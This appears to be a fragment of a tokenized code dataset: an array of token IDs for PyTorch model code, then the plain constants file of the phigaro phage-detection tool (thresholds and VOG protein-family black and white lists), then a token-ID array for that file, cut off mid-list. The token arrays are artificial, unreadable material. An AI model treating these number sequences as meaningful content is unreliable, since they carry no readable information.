29881,
29894,
353,
9657,
29898,
29881,
1853,
29922,
7345,
305,
29889,
7411,
29941,
29906,
29892,
4742,
29922,
10141,
29897,
13,
13,
4706,
20881,
29918,
12181,
353,
679,
29918,
12181,
29918,
3166,
29918,
26290,
29918,
3493,
29898,
26290,
29918,
3493,
29897,
13,
4706,
1644,
29918,
26290,
29918,
12181,
353,
679,
29918,
12181,
29918,
3166,
29918,
26290,
29918,
3493,
29898,
1760,
29918,
26290,
29918,
3493,
29897,
13,
13,
13,
4706,
1583,
29889,
1212,
353,
21099,
919,
6779,
29898,
5085,
29892,
20881,
29918,
12181,
29892,
3158,
29918,
3493,
29892,
1644,
29918,
26290,
29918,
12181,
29892,
671,
29918,
4836,
272,
29922,
5574,
29897,
13,
13,
4706,
1583,
29889,
650,
8711,
353,
3118,
28917,
29898,
2467,
29918,
3493,
29889,
29876,
29897,
13,
13,
4706,
1583,
29889,
517,
29898,
10141,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
20881,
29892,
8820,
1125,
13,
4706,
20881,
353,
1423,
29898,
26290,
467,
517,
29898,
1068,
1311,
29889,
9392,
29881,
29894,
29897,
13,
4706,
8820,
353,
1583,
29889,
650,
8711,
29889,
9067,
29898,
3198,
29898,
7387,
8106,
517,
29898,
1068,
1311,
29889,
9392,
29881,
29894,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
3552,
26290,
29892,
8820,
511,
3964,
10457,
29896,
29897,
13,
4706,
714,
353,
1583,
29889,
1212,
29898,
29916,
29897,
13,
4706,
736,
714,
13,
13,
1990,
8010,
272,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6389,
29892,
1644,
29918,
26290,
29918,
3493,
29892,
4742,
29922,
7345,
305,
29889,
10141,
703,
21970,
5783,
29901,
13,
4706,
2428,
29898,
7653,
272,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
5085,
353,
6389,
13,
4706,
1583,
29889,
10892,
29918,
2311,
353,
6389,
29889,
10892,
29918,
2311,
13,
4706,
1583,
3032,
29887,
475,
353,
6389,
29889,
29887,
475,
13,
4706,
1583,
3032,
1509,
29918,
2072,
23419,
353,
6389,
29889,
1509,
29918,
2072,
23419,
13,
4706,
1583,
29889,
9392,
29881,
29894,
353,
9657,
29898,
29881,
1853,
29922,
7345,
305,
29889,
7411,
29941,
29906,
29892,
4742,
29922,
10141,
29897,
13,
13,
4706,
1644,
29918,
26290,
29918,
12181,
353,
679,
29918,
12181,
29918,
3166,
29918,
26290,
29918,
3493,
29898,
1760,
29918,
26290,
29918,
3493,
29897,
13,
4706,
565,
6389,
29889,
27711,
29918,
6229,
29901,
13,
9651,
1583,
29889,
828,
29886,
353,
21099,
919,
14420,
29898,
1760,
29918,
26290,
29918,
12181,
29961,
29900,
1402,
6389,
29889,
27711,
29918,
6229,
29892,
13,
462,
462,
29896,
29892,
1583,
3032,
1509,
29918,
2072,
23419,
29892,
7700,
29897,
13,
9651,
396,
1583,
29889,
449,
353,
4451,
14420,
29898,
1760,
29918,
26290,
29918,
12181,
29961,
29900,
29962,
849,
29871,
29946,
29892,
1583,
29889,
10892,
29918,
2311,
29892,
1583,
3032,
1509,
29918,
2072,
23419,
29892,
7700,
29897,
13,
13,
13,
4706,
1583,
29889,
517,
29898,
10141,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
1644,
29918,
26290,
1125,
13,
4706,
921,
353,
1423,
29898,
1760,
29918,
26290,
467,
517,
29898,
1068,
1311,
29889,
9392,
29881,
29894,
29897,
13,
4706,
565,
1583,
29889,
5085,
29889,
27711,
29918,
6229,
29901,
13,
9651,
714,
353,
1583,
29889,
828,
29886,
29898,
29916,
29897,
13,
9651,
396,
714,
353,
1583,
29889,
449,
29898,
449,
29897,
13,
4706,
1683,
29901,
13,
9651,
714,
353,
921,
13,
4706,
736,
714,
2
] |
phigaro/const.py | bobeobibo/phigaro | 31 | 53666 | <gh_stars>10-100
DEFAULT_WINDOW_SIZE = 32
DEFAULT_THRESHOLD_MIN_BASIC = 45.39
DEFAULT_THRESHOLD_MAX_BASIC = 46.0
DEFAULT_THRESHOLD_MIN_ABS = 50.32
DEFAULT_THRESHOLD_MAX_ABS = 52.96
DEFAULT_THRESHOLD_MIN_WITHOUT_GC = 11.28
DEFAULT_THRESHOLD_MAX_WITHOUT_GC = 11.42
DEFAULT_MEAN_GC = 0.46354823199323626
DEFAULT_MAX_EVALUE = 0.00445
DEFAULT_PENALTY_BLACK = 2.2
DEFAULT_PENALTY_WHITE = 0.7
DEFAULT_BLACK_LIST = [
'VOG0496',
'VOG5264',
'VOG4730',
'VOG5818',
'VOG7281',
'VOG6063',
'VOG6030',
'VOG1710',
'VOG0996',
'VOG4524',
'VOG8021',
'VOG8536',
'VOG2368',
'VOG1850',
'VOG1031',
'VOG0985',
'VOG0274',
'VOG4344',
'VOG1844',
'VOG0088',
'VOG8607',
'VOG4615',
'VOG8992',
'VOG3235',
'VOG0092',
'VOG4155',
'VOG3532',
'VOG1045',
'VOG4149',
'VOG8062',
'VOG4562',
'VOG7442',
'VOG7446',
'VOG0419',
'VOG4319',
'VOG8429',
'VOG4409',
'VOG1422',
'VOG10018',
'VOG3101',
'VOG5441',
'VOG4469',
'VOG6988',
'VOG4678',
'VOG3722',
]
DEFAULT_WHITE_LIST = [
"VOG0568",
"VOG0569",
"VOG0565",
"VOG0566",
"VOG0567",
"VOG0562",
"VOG2703",
"VOG0968",
"VOG0700",
"VOG0701",
"VOG0703",
"VOG0704",
"VOG8223",
"VOG9502",
"VOG5046",
"VOG5260",
"VOG4643",
"VOG4645",
"VOG4647",
"VOG9348",
"VOG3606",
"VOG9762",
"VOG4736",
"VOG3424",
"VOG9962",
"VOG8568",
"VOG7616",
"VOG7615",
"VOG6418",
"VOG7437",
"VOG10916",
"VOG6520",
"VOG9667",
"VOG0825",
"VOG0824",
"VOG0827",
"VOG0559",
"VOG0557",
"VOG2779",
"VOG4545",
"VOG0953",
"VOG1159",
"VOG0602",
"VOG5254",
"VOG0044",
"VOG4652",
"VOG4659",
"VOG3309",
"VOG4438",
"VOG2545",
"VOG10850",
"VOG1942",
"VOG1319",
"VOG3891",
"VOG3890",
"VOG2388",
"VOG3892",
"VOG3894",
"VOG3897",
"VOG2166",
"VOG1837",
"VOG0541",
"VOG0947",
"VOG0945",
"VOG0723",
"VOG0720",
"VOG0727",
"VOG0724",
"VOG0725",
"VOG0837",
"VOG0835",
"VOG0832",
"VOG0833",
"VOG0830",
"VOG0831",
"VOG0838",
"VOG0839",
"VOG0618",
"VOG0614",
"VOG0615",
"VOG5060",
"VOG0583",
"VOG0051",
"VOG0054",
"VOG5660",
"VOG4829",
"VOG4828",
"VOG4820",
"VOG8497",
"VOG0588",
"VOG3622",
"VOG3396",
"VOG4757",
"VOG3401",
"VOG3406",
"VOG3409",
"VOG2119",
"VOG1956",
"VOG0536",
"VOG0534",
"VOG0539",
"VOG0283",
"VOG0843",
"VOG0842",
"VOG0847",
"VOG0848",
"VOG0198",
"VOG0195",
"VOG10933",
"VOG9374",
"VOG4630",
"VOG4632",
"VOG4633",
"VOG4634",
"VOG10054",
"VOG10059",
"VOG5621",
"VOG8445",
"VOG6866",
"VOG0524",
"VOG0526",
"VOG6440",
"VOG0840",
"VOG0298",
"VOG0299",
"VOG0292",
"VOG0296",
"VOG0850",
"VOG0855",
"VOG0186",
"VOG0181",
"VOG0189",
"VOG9547",
"VOG0275",
"VOG5357",
"VOG10608",
"VOG5734",
"VOG4609",
"VOG4606",
"VOG4600",
"VOG4602",
"VOG3379",
"VOG4171",
"VOG4994",
"VOG4999",
"VOG8520",
"VOG4771",
"VOG4772",
"VOG8855",
"VOG6876",
"VOG0519",
"VOG0518",
"VOG0514",
"VOG2644",
"VOG0641",
"VOG5994",
"VOG4618",
"VOG4619",
"VOG4612",
"VOG3699",
"VOG9474",
"VOG4986",
"VOG7882",
"VOG4763",
"VOG2341",
"VOG10969",
"VOG2124",
"VOG2125",
"VOG6600",
"VOG1900",
"VOG2015",
"VOG0650",
"VOG0651",
"VOG0655",
"VOG5023",
"VOG5027",
"VOG10898",
"VOG0254",
"VOG1309",
"VOG9583",
"VOG8509",
"VOG4573",
"VOG4572",
"VOG0952",
"VOG4888",
"VOG4799",
"VOG2337",
"VOG2336",
"VOG2339",
"VOG2338",
"VOG7693",
"VOG1912",
"VOG1915",
"VOG1047",
"VOG1049",
"VOG2790",
"VOG2793",
"VOG2086",
"VOG2795",
"VOG2794",
"VOG0790",
"VOG0796",
"VOG0799",
"VOG0221",
"VOG0227",
"VOG0226",
"VOG4364",
"VOG4361",
"VOG9227",
"VOG5942",
"VOG4563",
"VOG4564",
"VOG4565",
"VOG4566",
"VOG4567",
"VOG4568",
"VOG4890",
"VOG3327",
"VOG3328",
"VOG6138",
"VOG7440",
"VOG7686",
"VOG6001",
"VOG2788",
"VOG0800",
"VOG1320",
"VOG1329",
"VOG9609",
"VOG9857",
"VOG4555",
"VOG4557",
"VOG4556",
"VOG4550",
"VOG4553",
"VOG4552",
"VOG3798",
"VOG8306",
"VOG7238",
"VOG6545",
"VOG6495",
"VOG0939",
"VOG4559",
"VOG1887",
"VOG5029",
"VOG5092",
"VOG5096",
"VOG5095",
"VOG0753",
"VOG1333",
"VOG4544",
"VOG2791",
"VOG3498",
"VOG10343",
"VOG3304",
"VOG3652",
"VOG3651",
"VOG3477",
"VOG3478",
"VOG8337",
"VOG8336",
"VOG10230",
"VOG0251",
"VOG6153",
"VOG6154",
"VOG1433",
"VOG0327",
"VOG0322",
"VOG0321",
"VOG6203",
"VOG0528",
"VOG5084",
"VOG4672",
"VOG1348",
"VOG9470",
"VOG0696",
"VOG0697",
"VOG0695",
"VOG0692",
"VOG0691",
"VOG0698",
"VOG0107",
"VOG4684",
"VOG9305",
"VOG4593",
"VOG4596",
"VOG4599",
"VOG4598",
"VOG4845",
"VOG4841",
"VOG3480",
"VOG3648",
"VOG3649",
"VOG3644",
"VOG3313",
"VOG3461",
"VOG3462",
"VOG3468",
"VOG8923",
"VOG10227",
"VOG7569",
"VOG0356",
"VOG0355",
"VOG1350",
"VOG1352",
"VOG1353",
"VOG1356",
"VOG5155",
"VOG4693",
"VOG4690",
"VOG4691",
"VOG4694",
"VOG4699",
"VOG2165",
"VOG2163",
"VOG9315",
"VOG9317",
"VOG4589",
"VOG4586",
"VOG4581",
"VOG8134",
"VOG8354",
"VOG2215",
"VOG3298",
"VOG11077",
"VOG1637",
"VOG1638",
"VOG7483",
"VOG2186",
"VOG2188",
"VOG1183",
"VOG0582",
"VOG1298",
"VOG0584",
"VOG0585",
"VOG1563",
"VOG0901",
"VOG0764",
"VOG0765",
"VOG5443",
"VOG0010",
"VOG4002",
"VOG4005",
"VOG4862",
"VOG4865",
"VOG5996",
"VOG4716",
"VOG4713",
"VOG4711",
"VOG8340",
"VOG8904",
"VOG3287",
"VOG4605",
"VOG6163",
"VOG2154",
"VOG2153",
"VOG6181",
"VOG0801",
"VOG0577",
"VOG0574",
"VOG0573",
"VOG0572",
"VOG0571",
"VOG0977",
"VOG0976",
"VOG0152",
"VOG0397",
"VOG0204",
"VOG0021",
"VOG0025",
"VOG0026",
"VOG3616",
"VOG4705",
"VOG4701",
"VOG3434",
"VOG2792",
"VOG3721",
"VOG3549",
"VOG2142",
"VOG10904",
"VOG2149",
"VOG2096",
"VOG9438",
]
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
23397,
29918,
25152,
3970,
29956,
29918,
14226,
353,
29871,
29941,
29906,
13,
23397,
29918,
4690,
1525,
7068,
5607,
29928,
29918,
16173,
29918,
29933,
3289,
2965,
353,
29871,
29946,
29945,
29889,
29941,
29929,
13,
23397,
29918,
4690,
1525,
7068,
5607,
29928,
29918,
12648,
29918,
29933,
3289,
2965,
353,
29871,
29946,
29953,
29889,
29900,
13,
23397,
29918,
4690,
1525,
7068,
5607,
29928,
29918,
16173,
29918,
2882,
29903,
353,
29871,
29945,
29900,
29889,
29941,
29906,
13,
23397,
29918,
4690,
1525,
7068,
5607,
29928,
29918,
12648,
29918,
2882,
29903,
353,
29871,
29945,
29906,
29889,
29929,
29953,
13,
23397,
29918,
4690,
1525,
7068,
5607,
29928,
29918,
16173,
29918,
29956,
1806,
8187,
2692,
29918,
8766,
353,
29871,
29896,
29896,
29889,
29906,
29947,
13,
23397,
29918,
4690,
1525,
7068,
5607,
29928,
29918,
12648,
29918,
29956,
1806,
8187,
2692,
29918,
8766,
353,
29871,
29896,
29896,
29889,
29946,
29906,
13,
23397,
29918,
2303,
2190,
29918,
8766,
353,
29871,
29900,
29889,
29946,
29953,
29941,
29945,
29946,
29947,
29906,
29941,
29896,
29929,
29929,
29941,
29906,
29941,
29953,
29906,
29953,
13,
23397,
29918,
12648,
29918,
29923,
19143,
353,
29871,
29900,
29889,
29900,
29900,
29946,
29946,
29945,
13,
23397,
29918,
29925,
1430,
1964,
15631,
29918,
13367,
11375,
353,
29871,
29906,
29889,
29906,
13,
23397,
29918,
29925,
1430,
1964,
15631,
29918,
25039,
9094,
353,
29871,
29900,
29889,
29955,
13,
23397,
29918,
13367,
11375,
29918,
24360,
353,
518,
13,
1678,
525,
24898,
29954,
29900,
29946,
29929,
29953,
742,
13,
1678,
525,
24898,
29954,
29945,
29906,
29953,
29946,
742,
13,
1678,
525,
24898,
29954,
29946,
29955,
29941,
29900,
742,
13,
1678,
525,
24898,
29954,
29945,
29947,
29896,
29947,
742,
13,
1678,
525,
24898,
29954,
29955,
29906,
29947,
29896,
742,
13,
1678,
525,
24898,
29954,
29953,
29900,
29953,
29941,
742,
13,
1678,
525,
24898,
29954,
29953,
29900,
29941,
29900,
742,
13,
1678,
525,
24898,
29954,
29896,
29955,
29896,
29900,
742,
13,
1678,
525,
24898,
29954,
29900,
29929,
29929,
29953,
742,
13,
1678,
525,
24898,
29954,
29946,
29945,
29906,
29946,
742,
13,
1678,
525,
24898,
29954,
29947,
29900,
29906,
29896,
742,
13,
1678,
525,
24898,
29954,
29947,
29945,
29941,
29953,
742,
13,
1678,
525,
24898,
29954,
29906,
29941,
29953,
29947,
742,
13,
1678,
525,
24898,
29954,
29896,
29947,
29945,
29900,
742,
13,
1678,
525,
24898,
29954,
29896,
29900,
29941,
29896,
742,
13,
1678,
525,
24898,
29954,
29900,
29929,
29947,
29945,
742,
13,
1678,
525,
24898,
29954,
29900,
29906,
29955,
29946,
742,
13,
1678,
525,
24898,
29954,
29946,
29941,
29946,
29946,
742,
13,
1678,
525,
24898,
29954,
29896,
29947,
29946,
29946,
742,
13,
1678,
525,
24898,
29954,
29900,
29900,
29947,
29947,
742,
13,
1678,
525,
24898,
29954,
29947,
29953,
29900,
29955,
742,
13,
1678,
525,
24898,
29954,
29946,
29953,
29896,
29945,
742,
13,
1678,
525,
24898,
29954,
29947,
29929,
29929,
29906,
742,
13,
1678,
525,
24898,
29954,
29941,
29906,
29941,
29945,
742,
13,
1678,
525,
24898,
29954,
29900,
29900,
29929,
29906,
742,
13,
1678,
525,
24898,
29954,
29946,
29896,
29945,
29945,
742,
13,
1678,
525,
24898,
29954,
29941,
29945,
29941,
29906,
742,
13,
1678,
525,
24898,
29954,
29896,
29900,
29946,
29945,
742,
13,
1678,
525,
24898,
29954,
29946,
29896,
29946,
29929,
742,
13,
1678,
525,
24898,
29954,
29947,
29900,
29953,
29906,
742,
13,
1678,
525,
24898,
29954,
29946,
29945,
29953,
29906,
742,
13,
1678,
525,
24898,
29954,
29955,
29946,
29946,
29906,
742,
13,
1678,
525,
24898,
29954,
29955,
29946,
29946,
29953,
742,
13,
1678,
525,
24898,
29954,
29900,
29946,
29896,
29929,
742,
13,
1678,
525,
24898,
29954,
29946,
29941,
29896,
29929,
742,
13,
1678,
525,
24898,
29954,
29947,
29946,
29906,
29929,
742,
13,
1678,
525,
24898,
29954,
29946,
29946,
29900,
29929,
742,
13,
1678,
525,
24898,
29954,
29896,
29946,
29906,
29906,
742,
13,
1678,
525,
24898,
29954,
29896,
29900,
29900,
29896,
29947,
742,
13,
1678,
525,
24898,
29954,
29941,
29896,
29900,
29896,
742,
13,
1678,
525,
24898,
29954,
29945,
29946,
29946,
29896,
742,
13,
1678,
525,
24898,
29954,
29946,
29946,
29953,
29929,
742,
13,
1678,
525,
24898,
29954,
29953,
29929,
29947,
29947,
742,
13,
1678,
525,
24898,
29954,
29946,
29953,
29955,
29947,
742,
13,
1678,
525,
24898,
29954,
29941,
29955,
29906,
29906,
742,
13,
29962,
13,
23397,
29918,
25039,
9094,
29918,
24360,
353,
518,
13,
1678,
376,
24898,
29954,
29900,
29945,
29953,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29953,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29953,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29953,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29953,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29953,
29906,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29900,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29953,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29900,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29900,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29900,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29900,
29946,
613,
13,
1678,
376,
24898,
29954,
29947,
29906,
29906,
29941,
613,
13,
1678,
376,
24898,
29954,
29929,
29945,
29900,
29906,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29946,
29953,
613,
13,
1678,
376,
24898,
29954,
29945,
29906,
29953,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29946,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29946,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29946,
29955,
613,
13,
1678,
376,
24898,
29954,
29929,
29941,
29946,
29947,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29900,
29953,
613,
13,
1678,
376,
24898,
29954,
29929,
29955,
29953,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29941,
29953,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29906,
29946,
613,
13,
1678,
376,
24898,
29954,
29929,
29929,
29953,
29906,
613,
13,
1678,
376,
24898,
29954,
29947,
29945,
29953,
29947,
613,
13,
1678,
376,
24898,
29954,
29955,
29953,
29896,
29953,
613,
13,
1678,
376,
24898,
29954,
29955,
29953,
29896,
29945,
613,
13,
1678,
376,
24898,
29954,
29953,
29946,
29896,
29947,
613,
13,
1678,
376,
24898,
29954,
29955,
29946,
29941,
29955,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29929,
29896,
29953,
613,
13,
1678,
376,
24898,
29954,
29953,
29945,
29906,
29900,
613,
13,
1678,
376,
24898,
29954,
29929,
29953,
29953,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29906,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29906,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29945,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29945,
29955,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29955,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29946,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29945,
29941,
613,
13,
1678,
376,
24898,
29954,
29896,
29896,
29945,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29900,
29906,
613,
13,
1678,
376,
24898,
29954,
29945,
29906,
29945,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29900,
29946,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29945,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29945,
29929,
613,
13,
1678,
376,
24898,
29954,
29941,
29941,
29900,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29946,
29941,
29947,
613,
13,
1678,
376,
24898,
29954,
29906,
29945,
29946,
29945,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29947,
29945,
29900,
613,
13,
1678,
376,
24898,
29954,
29896,
29929,
29946,
29906,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29896,
29929,
613,
13,
1678,
376,
24898,
29954,
29941,
29947,
29929,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29947,
29929,
29900,
613,
13,
1678,
376,
24898,
29954,
29906,
29941,
29947,
29947,
613,
13,
1678,
376,
24898,
29954,
29941,
29947,
29929,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29947,
29929,
29946,
613,
13,
1678,
376,
24898,
29954,
29941,
29947,
29929,
29955,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29953,
29953,
613,
13,
1678,
376,
24898,
29954,
29896,
29947,
29941,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29946,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29946,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29946,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29906,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29906,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29906,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29906,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29941,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29896,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29896,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29896,
29945,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29953,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29947,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29900,
29945,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29900,
29945,
29946,
613,
13,
1678,
376,
24898,
29954,
29945,
29953,
29953,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29906,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29906,
29947,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29906,
29900,
613,
13,
1678,
376,
24898,
29954,
29947,
29946,
29929,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29947,
29947,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29906,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29941,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29945,
29955,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29900,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29900,
29953,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29900,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29896,
29929,
613,
13,
1678,
376,
24898,
29954,
29896,
29929,
29945,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29941,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29941,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29941,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29947,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29946,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29946,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29946,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29946,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29896,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29896,
29929,
29945,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29929,
29941,
29941,
613,
13,
1678,
376,
24898,
29954,
29929,
29941,
29955,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29941,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29941,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29941,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29941,
29946,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29900,
29945,
29946,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29900,
29945,
29929,
613,
13,
1678,
376,
24898,
29954,
29945,
29953,
29906,
29896,
613,
13,
1678,
376,
24898,
29954,
29947,
29946,
29946,
29945,
613,
13,
1678,
376,
24898,
29954,
29953,
29947,
29953,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29906,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29906,
29953,
613,
13,
1678,
376,
24898,
29954,
29953,
29946,
29946,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29946,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29929,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29929,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29945,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29945,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29896,
29947,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29896,
29947,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29896,
29947,
29929,
613,
13,
1678,
376,
24898,
29954,
29929,
29945,
29946,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29955,
29945,
613,
13,
1678,
376,
24898,
29954,
29945,
29941,
29945,
29955,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29953,
29900,
29947,
613,
13,
1678,
376,
24898,
29954,
29945,
29955,
29941,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29900,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29900,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29900,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29900,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29941,
29955,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29896,
29955,
29896,
613,
13,
1678,
376,
24898,
29954,
29946,
29929,
29929,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29929,
29929,
29929,
613,
13,
1678,
376,
24898,
29954,
29947,
29945,
29906,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29955,
29896,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29955,
29906,
613,
13,
1678,
376,
24898,
29954,
29947,
29947,
29945,
29945,
613,
13,
1678,
376,
24898,
29954,
29953,
29947,
29955,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29896,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29896,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29896,
29946,
613,
13,
1678,
376,
24898,
29954,
29906,
29953,
29946,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29946,
29896,
613,
13,
1678,
376,
24898,
29954,
29945,
29929,
29929,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29896,
29947,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29896,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29896,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29929,
29929,
613,
13,
1678,
376,
24898,
29954,
29929,
29946,
29955,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29929,
29947,
29953,
613,
13,
1678,
376,
24898,
29954,
29955,
29947,
29947,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29953,
29941,
613,
13,
1678,
376,
24898,
29954,
29906,
29941,
29946,
29896,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29929,
29953,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29906,
29946,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29906,
29945,
613,
13,
1678,
376,
24898,
29954,
29953,
29953,
29900,
29900,
613,
13,
1678,
376,
24898,
29954,
29896,
29929,
29900,
29900,
613,
13,
1678,
376,
24898,
29954,
29906,
29900,
29896,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29945,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29945,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29945,
29945,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29906,
29941,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29947,
29929,
29947,
613,
13,
1678,
